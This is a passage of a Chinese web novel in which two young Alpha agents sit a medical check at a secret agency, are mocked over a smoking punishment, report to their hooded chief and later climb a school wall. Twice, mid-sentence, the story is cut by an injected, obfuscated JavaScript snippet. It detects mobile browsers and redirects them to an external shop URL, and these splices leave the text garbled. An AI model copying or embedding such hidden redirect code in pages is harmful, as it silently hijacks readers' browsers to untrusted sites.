可这一次,纪砚没再用掀被子这种直白又无效的手段——毕竟之前试过无数次,谢燃总能像只八爪鱼一样把被子裹得更紧,缩在床角死活不肯动,折腾半天依旧徒劳。他只是安安静静地站在谢燃睡的上铺床边,骨节分明的手指握着谢燃熄了屏的手机,指尖轻点屏幕,一段提前录好的音频便清晰地响了起来。录音里是纪砚自己的声音,平淡无波,语调平稳得像在念枯燥的课文,没有一丝起伏:“起床,七点有车,体检 总部。”
没有多余的语气,没有催促的情绪,就这么机械地、一遍接着一遍地循环播放。
谢燃在上铺烦躁地翻了个身,把厚厚的被子死死蒙住头,连耳朵一起裹得严严实实,妄图隔绝这烦人的声音。可那段低沉平稳的话语却像是长了脚的风,无孔不入地钻进棉被的缝隙,再细细密密地钻进耳朵里,挥之不去,像一只绕着耳边嗡嗡打转的顽固蚊子,赶不走也甩不开,搅得人睡意全无,满心烦躁。
第三遍录音播放完毕的瞬间,谢燃猛地坐起身,乱糟糟的黑发炸得凌乱不堪,根根竖着,活像是刚被雷劈过,狼狈又潦草。他眼睛都没完全睁开,眼睫耷拉着,还沾着没睡醒的倦意,嘴巴却先一步开启了抱怨模式,语气里满是没睡醒的暴躁:“纪砚你TM变态!”
“有效就行。”纪砚神色淡淡,丝毫没被他的暴躁影响,指尖利落关掉录音,把手机轻轻放在他伸手就能碰到的枕边,语气依旧平静,“韩队已经在楼下等着了,再耽搁就来不及了。”
谢燃磨了磨牙,终究还是没再耍赖,慢吞吞地掀开被子下床,光着脚直接踩在微凉的地板上。深秋的木地板透着刺骨的凉意,顺着脚底板一路往上窜,瞬间蔓延至全身,他忍不住打了个哆嗦,浑身的睡意被这股寒意彻底驱散,脑子瞬间清醒过来。他趿拉上床边的棉拖鞋,拖着步子走进洗手间,迷迷糊糊地挤好牙膏,对着镜子机械地刷牙。
镜子里的少年眼底乌青浓重,眼下的黑眼圈比上周又深了一圈,没半点精气神。他对着镜子刷着牙,泡沫在嘴角泛起,眼神放空,满是疲惫。
“没睡好?”纪砚靠在洗手间门口,身姿挺拔,目光落在他疲惫的脸上,语气里带着一丝不易察觉的询问。
“做梦了。”谢燃含着牙刷,声音含糊不清,动作慢了半拍。
“什么梦?”纪砚微微挑眉,静静等着他的下文。
“梦到数学考试。”谢燃停下刷牙的动作,眼底闪过一丝崩溃,语气苦哈哈的,“考了43分。王老师就站在我面前,手里举着那张卷子,眼神严肃得要命,说‘谢燃同学,你这个分数对得起你的尾巴吗’。”他顿了顿,模仿着王老师严肃的语气,又接着说,“我当时一脸懵,问‘我的尾巴怎么了’,结果王老师说‘你的尾巴比你的分数红’。”
纪砚沉默了一秒,认真打量了一下他身后微微耷拉着的红色尾巴,一本正经地开口:“你的尾巴确实比43分红。”
“……你能不能说句人话安慰一下我?”谢燃看着镜子里的纪砚,一脸无语,嘴角垮了下来。
“43分不需要安慰,需要补课。”纪砚丝毫不留情面,语气客观又直白。
谢燃无奈地叹了口气,再也没力气跟他斗嘴,快速刷完牙,吐掉嘴里的泡沫,用干净的毛巾仔细擦了擦脸,冰凉的毛巾让他最后一丝迷糊也彻底消失。他把毛巾挂回原位,转身走出洗手间,随手拿出一身常穿的黑色运动裤,套上一件深灰色的宽松卫衣,把卫衣的帽檐狠狠往下拉,遮住了大半张脸,只露出线条清晰的下颌线,才背上放在床边的双肩包。
书包里装着这周辛苦收集的全部情报,厚厚一叠行动记录,整整齐齐地收在文件袋里,沉甸甸地坠在肩头。
两人轻手轻脚下楼的时候,天边才刚刚泛起一抹淡淡的鱼肚白,微弱的晨光勉强驱散了黑夜的阴霾,空气里带着清晨独有的微凉湿气,混着草木的清香。韩征远正站在一辆黑色的SUV旁边,身姿挺拔,手里拿着两杯还冒着热气的豆浆,另一只手拎着一个牛皮纸袋,看到两人下来,抬手挥了挥。
他快步走上前,把温热的豆浆分别递到谢燃和纪砚手里,纸袋也顺势塞过去,里面的包子还带着刚出锅的热气,隔着纸袋都能感受到暖暖的温度,香气扑鼻。“车上吃”韩征远语气干脆,伸手拉开车后门,动作干净利索。
谢燃和纪砚弯腰坐进后座,车内开着适宜的温度,驱散了清晨的寒意。司机还是那个沉默寡言的男人,始终戴着蓝牙耳机,目视前方,从头到尾一句话都没说,车子平稳启动,缓缓驶出小区,朝着总部的方向匀速前行,没有半点颠簸。
去往总部的路上,谢燃靠在车窗边,快速吃了两个松软的肉包,又喝完一整杯温热的豆浆,填了空落落的肚子,浑身才暖和起来。他懒得说话,靠在座椅上闭目养神,眉头微微蹙着,还在回味昨晚那个糟心的数学考试梦。纪砚则安静地坐在他身侧,低头看着手机屏幕,上面是年绪刚发来的最新分析报告,屏幕的光映在他脸上,神色专注而认真——报告里显示,XK-9口服液的成分比对有了突破性的新进展,顺着线索排查,药物生产地点的范围又进一步缩小了。
车子一路平稳行驶,大约过了一个半小时,缓缓驶进了ASI总部的大门。总部基地坐落在珠海市北边的深山里,远离城市的喧嚣,占地算不上宽广,但各项设施一应俱全,规划得整整齐齐。几栋灰白色的简约建筑错落排列,线条硬朗,中间是一片铺着翠绿人工草皮的操场,高高的旗杆上,ASI的银色星轨旗在清晨的风里轻轻飘动,简洁又醒目。空气里混杂着淡淡的消毒水味道和若有似无的机油味,两种味道交织在一起,谢燃下意识深吸了一口,反倒觉得这味道无比熟悉,甚至比学校食堂里混杂的饭菜味要亲切太多。
“先去体检中心,做完体检再去做任务汇报,别走错了。”韩征远走在前面,步子迈得很快,语气带着一贯的干练,“流程都清楚,别磨蹭。”
体检中心位于一号楼的地下一层,刚走下楼梯,就被明亮的灯光笼罩,光线柔和不刺眼,四周的墙壁刷成了浅淡的蓝色,看着让人心里平静。空气中弥漫着浓郁的酒精和消毒水味道。前台坐着一位四十多岁的Beta女性,戴着一副细框眼镜,神情温和又干练,看到韩征远走进来,礼貌地点了点头,随后目光落在身后的谢燃和纪砚身上,一眼就认出了两人。
“谢燃,纪砚,先做登记。”她低头在平板上快速点了几下,录入两人的身份信息,抬头叮嘱道,“做常规体检项目,另外加一项信息素专项检测,流程按之前的来。”
“又要抽血?”谢燃下意识绷紧了身后的红色尾巴,尾尖微微发颤,脸上露出一丝不情愿,他向来怕抽血,每次都觉得浑身不自在。
“每次定期体检都要抽,这是规定。”前台工作人员耐心解释。
“我上个月刚抽过,抽了好多,这才隔了几天。”谢燃瘪了瘪嘴,试图辩解,语气里带着几分小委屈。
“那是任务前的基线检测,数据只针对任务有效,今天是月度定期体检,检测项目和标准都不一样,必须重新做。”对方语气平和,态度却很坚定,没有商量的余地。
谢燃自知说不过,也没法违反规定,只能耷拉着脑袋,乖乖坐到等候区的椅子上,尾巴有气无力地垂在身侧。纪砚在他旁边坐下,腰背始终挺得笔直,双手随意放在旁边,神情平静,丝毫没有他的焦躁。韩征远则靠在墙边,拿出手机翻看工作消息,安静地等候着。
体检中心的等候区空间并不大,今天却格外热闹,来往的人比平时多了不少。谢燃百无聊赖地扫了一圈,角落里坐着几个穿着深色作训服的特工,看模样是来做任务后复检的;不远处有两个后勤人员,低着头低声聊着工作上的琐事,声音很轻;还有一个穿白大褂的医生,端着一杯冒着热气的咖啡,慢悠悠从走廊经过,无意间瞥见坐在椅子上的谢燃,脚步突然顿住了。
“你是那个——”医生停下脚步,推了推鼻梁上的眼镜,凑近了些,仔细打量着谢燃,语气里带着几分笑意,“抽烟被罚站的那个?”
谢燃身后的尾巴瞬间炸了起来,红色的绒毛一根根竖起,整个人都僵住了,脸上的表情瞬间僵住,尴尬得恨不得找个地缝钻进去。
“什么?”旁边原本低头闲聊的特工听到这话,猛地抬起头,好奇的目光齐刷刷落在谢燃身上,语气惊讶,“抽烟被罚站?谁啊这么厉害?”
“就他。”医生用下巴轻轻指了指谢燃,笑着打趣,“火狐Alpha,谢燃。上周在和风四中做卧底任务的时候,偷偷抽烟被学校教导主任闻出来了,在走廊罚站了整整一个上午,这事你们没听说?”
等候区瞬间安静了一瞬,所有人的目光都集中在谢燃身上,带着满满的好奇和笑意。
下一秒,一个特工没忍住,率先笑出了声,笑声爽朗;紧接着是两个后勤人员,捂着嘴低声窃笑,肩膀微微抖动;就连刚才说话的那个医生,也笑得浑身发颤,手里咖啡杯里的液体都洒出来了几滴,落在地面上。
“谢燃!”一个穿作训服的Alpha特工笑着站起身,大步走过来,伸手重重拍了拍谢燃的肩膀,脸上挂着一种“听到天大趣事”的夸张表情,语气里满是戏谑,“兄弟,你在曙光学院的时候,教官天天盯着,抓了你无数次,都没抓到过一次违纪,堪称学院里的‘违纪绝缘体’。结果你居然栽在一个高中教导主任手里?这也太离谱了!”
谢燃的脸彻底黑了,从脸颊到耳尖都透着尴尬的红晕,眉头紧紧皱着,眼神里满是无奈和羞恼。
“你怎么知道的这么清楚?”他从牙缝里挤出几个字,语气里带着一丝咬牙切齿。
“全总部都知道了!”那个特工笑得更欢了,摆着手说道,“是年绪在食堂吃饭的时候随口说的,不是正式通报,但当时整个食堂的人都听到了,半天功夫就传遍整个总部了,现在没人不知道这事。”
年绪!
谢燃在心里默默念了一遍这个名字,转头看向身边的纪砚,眼神里带着质问。纪砚脸上依旧没什么明显的表情,神色淡然,仿佛周遭的笑声和议论都与他无关,但谢燃清晰地看到,他的嘴角勾起了一个极其微小的弧度,那个弧度比平时任何时候都要明显,摆明了是在憋笑。
“纪砚,你是不是早就知道这件事传遍了?”谢燃压低声音,语气里满是控诉。
“嗯。”纪砚坦然点头,没有丝毫隐瞒。
“你居然没告诉我?”谢燃瞪大了眼睛,一脸不可置信。
“告诉你了也没用,只会徒增烦躁。”纪砚语气平静,说得理直气壮。
谢燃深吸一口气,又缓缓吐出来,强行压下心里的尴尬和恼意。他身后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536141|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的尾巴已经炸成了一朵蓬松的红色蒲公英,却终究没好意思当场发火——在场的人太多,他要是发火闹腾,只会让这件糗事传得更广,最后丢人的还是自己。他默默闭上眼睛,在心里把年绪翻来覆去骂了八百遍,才强行把这件糟心事压到心底,假装听不到周遭的笑声。
没过多久,体检广播叫到了两人的名字,正式开始体检。
抽血、测量身高体重、检测视力听力、排查心肺功能、采集信息素样本……一套完整的流程有条不紊地进行下来,足足用了一个小时。谢燃被护士抽了三管血,看着针管里暗红色的血液缓缓流出血管,他垮着一张脸,心里莫名觉得,自己梦里那惨不忍睹的数学成绩,好像也跟着这些血液一起流失了,越想越郁闷。
做到信息素检测项目时,负责检测的是一位年轻的Omega女性,戴着口罩,只露出一双清亮的眼睛。她低头看了一眼谢燃的档案,又抬头打量了他一眼,没忍住,小声说了一句:“你就是那个抽烟被罚站的火狐Alpha吧?”
谢燃瞬间没了脾气,干脆把脸埋进手臂里,趴在检测台上,彻底摆烂,一句话都不想说,只想赶紧结束检测逃离这里。
旁边纪砚做信息素检测时,全程表情平静,仿佛完全没听到刚才的对话,始终淡定自若。他的信息素检测结果出来后,年轻的检测师看了一眼屏幕上的数据,又转头看了看纪砚,忍不住低声夸赞:“竹叶清露,很干净清冷的味道,很难得。”纪砚微微颔首示意,接过检测报告,仔细叠好后放进口袋里,动作利落。
整套体检彻底结束时,谢燃拿着自己的体检报告,垂头丧气地站在走廊里,身后的尾巴蔫哒哒地垂着,脸上的表情十分微妙,介于“丢人丢到家”和“摆烂无所谓”之间,进退两难。
“谢哥!”一个清脆的声音从走廊尽头传来,带着掩饰不住的笑意。
谢燃抬起头,就看到程宇从拐角处快步走过来,穿着一身深色便装,帽子拉得很低,却依旧挡不住嘴角咧开的笑容,眉眼弯弯,满是戏谑。他快步走到谢燃面前,上下打量了一番蔫蔫的谢燃,主动伸出手。
“久仰久仰,抽烟被罚站的火狐前辈,大名如雷贯耳,今天总算见到真人了。”程宇故作郑重地握住谢燃的手,轻轻摇了摇,语气里的笑意藏都藏不住。
“程宇。”谢燃的声音从牙缝里挤出来,眼神冷冷地盯着他。
“在!”程宇立刻收敛笑容,故作严肃地应声,眼底的笑意却丝毫未减。
“你是不是也说这件事了?”谢燃咬牙问道。
“我没有,我怎么敢,更何况全总部都知道了。”程宇松开手,终于忍不住笑出声,眼睛弯成了两道月牙,“我是从食堂大师傅那里听说的,大师傅说‘那个红尾巴的小子,在高中偷偷抽烟被老师抓了,罚站一上午’,说完还多给了我一个鸡腿,说‘可怜见的,年纪轻轻任务不容易,还得挨老师罚’估计是年姐说的。”
谢燃闭上眼睛,深吸一口气,再睁开时,眼神里满是破罐子破摔的无奈:“年绪在哪?”他现在只想去找年绪算账。
“在实验室待着呢,她说今天全程不见人,就怕你气不过,直接去实验室烧了她的设备。”程宇笑着解释。
“她倒是有自知之明。”谢燃冷哼一声,心里的火气又冒了出来。
程宇笑了笑,伸手拍了拍谢燃的肩膀,随即收起脸上的玩笑神色,压低声音,语气变得严肃起来:“别闹了,韩队让我特意来叫你们,首刃官要见你们。”
短短一句话,让走廊里的气氛瞬间变了。
谢燃耷拉着的尾巴瞬间微微抬了起来,脸上的尴尬和无奈一扫而空,取而代之的是凝重。纪砚也立刻放下手里的手机,目光从屏幕上移开,抬头看向程宇,眼神里带着几分郑重。
首刃官——ASI的最高掌控者,整个组织双翼一体的中枢核心,也是十五年前不惜违令,执意救援废弃飞船的传奇人物。他们两人加入ASI这么多年,见过首刃官的次数屈指可数,每一次都是在极其重要的任务节点之后,简单汇报完工作便立刻离开,从未有过多余的交流。而且首刃官始终戴着兜帽,从未在任何人面前摘下过,没有人知道他的真实长相,就连一直带队的韩征远,都未曾见过他的真面目。
“现在?”纪砚率先开口,语气沉稳,确认道。
“就是现在,别耽搁。”程宇彻底收起笑容,神情严肃,“韩队已经在A楼三层等着你们了,赶紧过去。”
A楼是总部最靠里的一栋灰白色建筑,外观看起来和其他楼栋没有区别,可门口的安保级别却高了不止一个等级,层层戒备。谢燃和纪砚依次经过两道严格的身份验证,又做了一次全面的信息素扫描,确认身份无误后,才被安保人员允许进入电梯。
电梯平稳上行至三层,电梯门缓缓打开,映入眼帘的是一条铺着深灰色地毯的走廊,踩上去悄无声息。走廊两侧是紧闭的办公室房门,四周安静得不像话,连一根针掉在地上都能听得清楚,宛如静谧的图书馆,气氛庄重又肃穆。
韩征远正站在走廊尽头的一扇厚重的门前,双手插在夹克口袋里,身姿挺拔,脸上的表情比平时严肃了好几分,周身的气场都沉了下来。
“进去吧,首刃官在里面等你们。”看到两人走来,韩征远开口说道,语气低沉。
“你不一起进去?”谢燃微微皱眉,疑惑地问道,以往任务汇报,韩征远都会一同随行。
“他只叫了你们两个。”
30. 报告……
谢燃和纪砚对视了一眼。纪砚先走到门前,敲了三下——不快不慢,力度均匀。
“进来。”门里传出一个声音。那声音不大,带着一种中性的质感,分不清男女,也听不出年龄,像是被什么东西处理过的,又像是天然的。ASI内部有人说首刃官用了变声器,也有人说那就是他真实的声音——没人知道答案。
纪砚推开门,走了进去。谢燃跟在他后面。
房间不大,大约二十平方米,陈设简单——一张深色的办公桌,两把椅子,靠墙的书架上摆满了文件和档案盒。窗帘拉了一半,阳光从窗户照进来,在地板上画出一道明亮的条纹。空气中有一种很淡的、说不清的气味,不是信息素,更像是某种古老的纸张和墨水的混合味道。
办公桌后面坐着一个人。
黑色的兜帽拉得很低,遮住了大半张脸,只露出下巴的一小截轮廓。黑色的长袍从肩膀垂下来,看不出身形。两只手交叠在桌面上,戴着黑色的手套,看不出肤色和年龄。整个人像一尊沉默的雕像,安静地坐在那里。
谢燃和纪砚在椅子上坐下,腰背挺直。
“纪砚,谢燃。”首刃官开口,声音平静,像湖面上的水,“汇报和风四中的调查进展。”
纪砚先开口。他把这周收集的情报整理成了简明扼要的报告——冥安的信息素异常和XK-9口服液的关系、姜雅的O189身份、谭照的熔炉背景和送货路线、陆大寻的基因与O147的关联、以及程宇在暗处观察到的谭照与姜雅的信封交接。他说得不快不慢,每个字都很清楚,像在读一份正式的任务报告。
首刃官听着,没有打断,没有提问,一动不动地坐在那里,连手指都没有动一下。
纪砚说完,谢燃补充了关于冥安状态变化的细节——他的脸色、步态、信息素味道的波动,以及程宇观察到的那次冥安在校医室门口敲门的三下节奏。谢燃说话的方式没有纪砚那么正式,带着一点口语化的习惯,但信息量不小。
谢燃说完,房间里安静了几秒。
首刃官微微点了一下头,兜帽的边缘随之晃动了一下。
“程宇的观察很细致。”首刃官说,“姜雅和谭照的信封交接,时间、地点、行为细节——这些很重要。继续跟进,但不要打草惊蛇。”
“是。”纪砚说。
首刃官又沉默了几秒,然后忽然开口:“谢燃。”
谢燃的身体微微绷紧:“在。”
“我听说,”首刃官的声音依旧平静,但语速比刚才慢了一点,“你在和风四中卧底期间,因为抽烟被教导主任抓到,罚站了一个上午。”
谢燃的尾巴炸了。
他张了张嘴,想解释,但不知道该说什么。因为这是事实。他确实抽烟了,确实被陈主任闻到了,确实罚站了一个上午。全总部都知道了,首刃官也知道了。
“是。”谢燃的声音闷闷的。
房间里安静了。
然后首刃官笑了。
不是那种克制的、礼貌的、嘴角微微动一下的笑。是那种从胸腔里涌出来的、整个人都在抖的笑。首刃官的肩膀在抖,交叠在桌面上的手在抖,兜帽的边缘在晃,连带着椅子都在发出轻微的吱呀声。笑声不大,但很清晰,像是什么被压抑了很久的东西终于找到了一个出口。
谢燃愣住了。
纪砚也愣住了。
他们从来没听过首刃官笑。甚至没听过首刃官发出任何带情绪的声音。在ASI的档案里,首刃官是一个没有表情、没有情绪、只有命令和决策的存在。而现在,这个存在正在笑,笑得整个人都在抖。
谢燃转头看纪砚。纪砚的表情从平静变成了困惑,从困惑变成了一种“我是不是在做梦”的微妙状态。
笑声持续了大约十秒,然后慢慢平息了。首刃官的肩膀还在微微颤抖,但已经在控制了。一只手从桌面上抬起来,戴着黑色手套的手指在兜帽边缘按了一下,像是在擦眼泪。
“谢燃。”首刃官的声音恢复了几分平静,但尾音还是带着一丝没有散尽的笑意,“你在曙光学院的时候,教官抓了你多少次违纪?”
谢燃咽了口唾沫:“零……”
“在ASI出任务这么多年,被抓住过多少次?”
“零……”
“结果在普通高中,被一个教导主任闻出了烟味。”
“……是。”
首刃官又笑了。这次短一些,但肩膀还是抖了好几下。
谢燃的尾巴从炸毛状态慢慢收拢,但耳朵还是红的。他低下头,盯着桌面上的木纹,心想自己这辈子大概是逃不过这个梗了。
纪砚在旁边,始终没有说话,但谢燃注意到他的肩膀也在微微抖——不是笑,是忍笑。纪砚在忍笑。
谢燃用尾巴戳了一下纪砚的小腿。纪砚没反应。又戳了一下。纪砚往旁边挪了半寸,但肩膀还是在抖。
首刃官终于完全平静下来,双手重新交叠在桌面上,兜帽恢复了静止。
“汇报我听完了。”首刃官说,声音恢复了那种中性的、不带情绪的频率,“XK-9的口服液生产点,继续排查。冥安的状态,密切观察,如果他出现戒断反应导致失控,优先保护普通学生,必要时可以提前收网。”
“是。”纪砚说。
“谭照和姜雅的关系,继续深挖。信封里的内容,想办法获取。”首刃官顿了一下,“陆大寻的身世,暂时不要告诉他。他的安全是第一位的。”
“明白。”谢燃抬起头,表情认真了几分。
首刃官微微点头,兜帽的边缘晃动了一下。然后他忽然又开口了,这次语气里带着一种说不清的东西——不是严肃,不是调侃,更像是某种被藏得很深的、不太熟练的关心。
“纪砚。”
“在。”
“谢燃的数学成绩,你负责。”
纪砚的表情没有任何变化:“是。”
谢燃的耳朵又红了。
首刃官靠回椅背,黑袍在椅子上堆叠出深深的褶皱。他沉默了几秒,然后说:“继续观察,注意安全。”
这是每次汇报结束时他都会说的话。四个字,不多不少,语气一成不变。但今天,在这四个字之后,他又补了一句。
“成绩也要注意。”
谢燃把脸埋进了手掌里。
纪砚的嘴角终于压不住了,弯了一个明显的弧度。
“是。”两人同时回答。
首刃官摆了摆手,示意他们可以走了。
纪砚站起来,椅子没有发出任何声音。谢燃也站起来,尾巴垂着,耳朵还红着。两人转身走向门口,谢燃的手刚碰到门把手,身后又传来首刃官的声音。
“谢燃。”
谢燃停下来,转过身。
首刃官坐在那里,兜帽遮住了整张脸,看不清任何表情。但他的手——那只戴着黑色手套的手——在桌面上轻轻敲了两下。
不是暗号。不是命令。更像是某种只有他自己才知道含义的、习惯性的小动作。
“烟,少抽。”首刃官说。
谢燃愣了一下,然后说:“……是。”
他拉开门,走了出去。纪砚跟在他后面,门在身后轻轻关上。
走廊里,韩征远靠在墙上,双手抱胸,看着他们。
“怎么样?”他问。
“汇报完了。”纪砚说。
“首刃官说什么了?”
谢燃和纪砚对视了一眼。
“他说,”谢燃开口,声音里带着一种复杂的、说不清的情绪,“成绩也要注意。”
韩征远看了他两秒,然后笑了。不是嘲笑,是那种“我早就知道会这样”的笑。他拍了拍谢燃的肩膀,转身往电梯走。
“走吧,食堂午饭,吃完回去。”
谢燃跟在他后面,尾巴垂着,但耳朵不红了。他走了一段,忽然说:“韩队。”
“嗯。”
“首刃官是不是一直在笑我?”
韩征远没有回头,但他的声音里带着笑意:“你觉得呢?”
“……是。”
“那就对了。”
三个人走进电梯。电梯门关上的时候,谢燃从金属门的反光里看到自己的脸——耳朵不红了,但表情是一种介于“丢人”和“莫名有点暖”之间的微妙状态。
首刃官笑了。
那个从来没有人见过脸、没有人听过真实声音、没有人知道任何个人信息的人,因为他在高中抽烟被罚站的事,笑得整个人都在抖。
谢燃不知道该觉得丢人还是该觉得荣幸。
大概两者都有吧。
食堂里,午饭时间已经过了高峰期,人不多。谢燃端着餐盘找了个角落的位置坐下,纪砚坐在他对面,韩征远坐在旁边。餐盘里有红烧肉、青菜、米饭和一碗汤,谢燃看着那碗汤,忽然没什么胃口——不是因为不好吃,而是因为整个食堂的人都在看他。
不是所有人。但他能感觉到那些目光。有的好奇,有的好笑,有的带着一种“原来你就是那个”的恍然大悟。
年绪端着餐盘走过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17536142|203814||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,在他们旁边坐下。她穿着白大褂,头发扎成低马尾,表情沉稳,看不出任何情绪。白猫Omega,绿茶信息素,做事靠谱到让人挑不出毛病。
“年绪。”谢燃放下筷子。
“嗯。”
“是不是你说的?”
“什么?”
“我在学校抽烟被罚站的事。”
年绪夹了一块西兰花,塞进嘴里,慢慢嚼着。嚼了大约五秒,咽下去,喝了一口水,然后说:“是。”
“年绪!”
“我在食堂说的。”年绪的语气没有任何波澜,“当时旁边有人听到了,然后就传开了。不是我的错,是你自己抽烟被抓的。”
谢燃张了张嘴,发现自己无法反驳。因为年绪说得对——不是她的错,是他自己抽烟被抓的。
纪砚在旁边喝汤,表情淡得像什么都没听到。但谢燃注意到他喝汤的频率比平时高了一点——他在忍笑。
“纪砚,你想笑就笑。”
“我没想笑。”
“你汤都喝了两碗了。”
“食堂的汤好喝。”
谢燃深吸一口气,低下头,开始吃饭。他把红烧肉的汤汁拌进米饭里,扒了一大口,嚼得咬牙切齿。年绪在旁边安静地吃着,偶尔看谢燃一眼,目光里没有任何歉意。
“年绪。”谢燃又开口。
“嗯。”
“下次这种事,能不能不要在食堂说?”
年绪想了想,说:“好。下次我在实验室说。”
谢燃把脸埋进了餐盘旁边的手臂里。
韩征远在旁边笑出了声——不是嘲笑,是那种“看着自家孩子出糗但又觉得好笑”的笑。他伸手拍了拍谢燃的后脑勺,力道不轻不重。
“行了,吃饭。吃完回去补课。”
谢燃从手臂里抬起脸,尾巴垂着,耳朵垂着,表情像一只被全世界围观了的小狐狸。他拿起筷子,继续吃饭,但速度慢了很多。
吃完饭,三个人坐车回“家”。谢燃靠在座椅上,闭着眼睛,尾巴搭在膝盖上。纪砚在旁边看手机,屏幕上是数学题——他在整理下周的补课内容。
“纪砚。”
“嗯。”
“首刃官说‘成绩也要注意’,你觉得他是认真的还是开玩笑的?”
纪砚沉默了几秒。
“认真的。”他说。
“为什么?”
“因为他从来不开玩笑。”
谢燃想了想,觉得纪砚说得对。首刃官从来不开玩笑——至少在他们面前从来没有。但今天他笑了,笑得整个人都在抖。那是第一次。因为抽烟被罚站。因为一个顶级特工在普通高中栽在一个教导主任手里。
谢燃不知道该觉得丢人还是该觉得好笑。
大概两者都有吧,嗯对。
他闭上眼睛,车子平稳地驶在回珠海的高速上。窗外的阳光很好,把车内照得暖洋洋的。他想,等任务结束了,等织网者被抓了,等一切都结束了,他大概会觉得这件事很好笑。但现在,他还是觉得丢人。
“谢燃。”纪砚的声音从旁边传来。
“嗯。”
“回去先把数学卷子做了。”
“……知道了。”
“做完了我讲。”
“知道了。”
“下次月考不上70,海鲜没了。”
谢燃睁开眼睛,转头看着纪砚。纪砚没有看他,目光落在手机屏幕上,侧脸的线条在阳光下很清晰。他的表情淡淡的,但谢燃看到了他眼底那种很稳的光。
“上70你请我吃海鲜?”谢燃问。
“韩队请。”
“那你呢?”
纪砚的拇指在手机屏幕上停了一下。
“我陪你吃。”他说。
谢燃的尾巴在座椅上晃了一下。他重新闭上眼睛,嘴角翘了起来。
车窗外的阳光透过树叶的缝隙,在车内投下细碎的光斑,一闪一闪的,像一地的碎金子。珠海市的周六下午,和每一个普通的周六下午一样,慵懒、安静、充满了阳光和风。
但在那些阳光和风照不到的地方,有什么东西正在暗处生长。就像榕树的气根,你看不到它在地下蔓延的速度,但等你发现的时候,它已经扎得很深了。
谢燃闭着眼睛,脑子里转过这些念头,但没有睁开眼。
他想,今天是个好日子。虽然丢人,但挺好。首刃官笑了。年绪没有道歉。纪砚在忍笑。韩队在拍他的后脑勺。
这些画面,他想记住。
31. 围墙与升旗
周一早晨,谢燃是被阳光晃醒的。
不是闹钟。手机安安静静地躺在枕头边,屏幕是黑的,时间显示七点二十分。他盯着那个数字看了三秒,脑子从“这个数字是什么意思”到“好像该起床了”到“操”只用了不到一秒。
他从上铺弹起来,头差点撞到天花板,尾巴炸成了一朵红色的烟花。下铺的被子叠得整整齐齐,床单没有一丝褶皱,枕头端端正正地放在被子上——纪砚早就走了,连等都没等他。
“纪砚!!!”他朝门外吼了一声。
没人回答。
他从床上爬下来,光着脚踩在地板上,以在曙光学院训练时的速度冲进洗手间。刷牙用了二十秒,洗脸用了十秒,换校服用了四十秒——拉链拉到一半就往外冲,书包拎在手里没来得及背上,尾巴因为紧张比平时蓬松了一倍。
客厅的餐桌上放着一杯豆浆和一个保鲜袋,袋子里装着两个包子。豆浆杯下面压着一张纸条,上面是纪砚的字迹:“七点十分叫你,你说‘再睡五分钟’。七点十五又叫你,你说‘真的再睡五分钟’。七点二十我走了。升旗不能迟到。——纪砚”
谢燃把纸条揉成一团塞进口袋,抓起豆浆喝了一口——温的,不烫了——又抓起包子,拉开大门就往外冲。楼梯间的声控灯被他急促的脚步声一层一层地踩亮,又在他身后一层一层地灭掉。
他跑到小区门口的时候,看了一眼手机,七点三十五分。升旗仪式是七点五十,平时走路要十五分钟,跑的话——他算了算,以他的速度,跑过去大概七八分钟,够用。但他不能从校门进,因为校门口有值周生检查迟到,陈主任也会站在那里,那双金丝眼镜后面的眼睛比雷达还准。
翻墙。
他在脑子里快速规划了路线。和风四中的围墙有两处比较好翻——一处是操场后面的东墙,墙外是条小巷,墙头有棵榕树,踩着树干能翻过去;另一处是实验楼旁边的北墙,墙矮一些,但翻过去是老师的停车场,容易被看到。他选了东墙。
七点四十分,谢燃站在了东墙外的小巷里。
小巷很窄,只能容两个人并排,墙上的榕树气根垂下来,在晨风中轻轻摇晃。他把书包背好,豆浆杯塞进口袋,包子叼在嘴里,双手抓住气根,脚蹬着树干凸起的地方,三下两下就攀上了墙头。动作行云流水,没有一点多余,曙光学院的攀爬课他从来没拿过第二。
他骑在墙头上,把包子从嘴里拿下来咬了一口,嚼了两下,然后往校园里看了一眼。操场上已经站满了人,各班列队整齐,旗杆下护旗手已经就位,广播里在调试话筒,传来“喂喂喂”的声音。
没人注意到墙头上的他。
谢燃把剩下的包子一口塞进嘴里,从墙头跳下来,落地无声——他的A1技能让他的脚步声降到了最低,连地面上的枯叶都没怎么响。他拍了拍手上的灰,弯腰捡起豆浆杯,正准备混进队伍,一个声音从身后传来。
“谢燃。”
他僵住了。
陈主任站在实验楼的拐角处,双手抱胸,金丝眼镜在晨光中反着光,看不清她的眼睛,但谢燃能感觉到那道目光的重量。她穿着一件深蓝色的西装外套,头发盘得一丝不苟,整个人像一尊从校规手册里走出来的雕像。
“陈老师,早。”谢燃转过身,脸上挂着一个无辜的笑容。
“早。”陈主任走过来,步子不快不慢,高跟鞋敲在地面上发出清脆的哒哒声,“你刚才在干什么?”
“我——路过。”
“路过墙头?”
“我……”谢燃的脑子在飞速运转,但找不到一个合理的解释。他刚才骑在墙头上,嘴里叼着包子,手里拿着豆浆,那个画面无论怎么描述都不像是“路过”。
